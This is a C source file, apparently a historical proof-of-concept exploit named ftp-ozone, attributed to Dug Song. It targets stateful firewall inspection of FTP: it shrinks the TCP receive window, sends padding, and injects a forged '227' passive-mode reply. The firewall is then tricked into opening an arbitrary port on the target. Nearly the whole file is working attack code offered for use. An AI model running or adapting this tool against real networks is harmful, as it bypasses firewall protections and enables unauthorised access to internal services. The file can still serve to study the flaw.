/* ftp-ozone.c Demonstrate a basic layer violation in "stateful" firewall inspection of application data (within IP packets - @#$@#$!): http://www.checkpoint.com/techsupport/alerts/pasvftp.html Dug Song */ #include #include #include #include #include #include #include #include #include #include #include #include #define PAD_LEN 128 /* XXX - anything on BSD, but Linux is weird */ #define GREEN "\033[0m\033[01m\033[32m" #define OFF "\033[0m" jmp_buf env_buf; void usage(void) { fprintf(stderr, "Usage: ftp-ozone [-w win] \n"); exit(1); } u_long resolve_host(char *host) { u_long addr; struct hostent *hp; if (host == NULL) return (0); if ((addr = inet_addr(host)) == -1) { if ((hp = gethostbyname(host)) == NULL) return (0); memcpy((char *)&addr, hp->h_addr, sizeof(addr)); } return (addr); } #define UC(b) (((int)b)&0xff) int ftp_pasv_reply(char *buf, int size, u_long ip, u_short port) { char *p, *q; port = htons(port); p = (char *)&ip; q = (char *)&port; return (snprintf(buf, size, "227 (%d,%d,%d,%d,%d,%d)\r\n", UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]), UC(q[0]), UC(q[1]))); } void handle_timeout(int sig) { alarm(0); longjmp(env_buf, 1); } void read_server_loop(int fd, int timeout, int pretty) { char buf[2048]; int rlen; if (!setjmp(env_buf)) { signal(SIGALRM, handle_timeout); alarm(timeout); for (;;) { if ((rlen = read(fd, buf, sizeof(buf))) == -1) break; if (pretty) { buf[rlen] = '\0'; if (strncmp(buf, "227 ", 4) == 0) printf("[" GREEN "%s" OFF "]\n", buf); else printf("[%s]\n", buf); } else write(0, buf, rlen); } alarm(0); } } int main(int argc, char *argv[]) { int c, fd, win, len; u_long dst; u_short dport; struct sockaddr_in sin; char buf[1024]; win = PAD_LEN; while ((c = getopt(argc, argv, "w:h?")) != -1) { switch (c) { case 'w': if ((win = atoi(optarg)) == 0) usage(); break; default: usage(); } } argc -= optind; argv += optind; if (argc != 2) usage(); if ((dst = resolve_host(argv[0])) == 0) usage(); if ((dport = atoi(argv[1])) == 0) usage(); /* Connect to FTP server. */ memset(&sin, 0, sizeof(sin)); sin.sin_addr.s_addr = dst; sin.sin_family = AF_INET; sin.sin_port = htons(21); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); exit(1); } if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1) { perror("setsockopt"); exit(1); } if (connect(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("connect"); exit(1); } read_server_loop(fd, 10, 0); /* Send padding. */ len = win - 5; /* XXX - "500 '" */ memset(buf, '.', len); if (write(fd, buf, len) != len) { perror("write"); exit(1); } /* Send faked reply. */ len = ftp_pasv_reply(buf, sizeof(buf), dst, dport); if (write(fd, buf, len) != len) { perror("write"); exit(1); } read_server_loop(fd, 5, 1); printf("[ now try connecting to %s %d ]\n", argv[0], dport); for (;;) { ; } /* NOTREACHED */ exit(0); } /* w00w00. */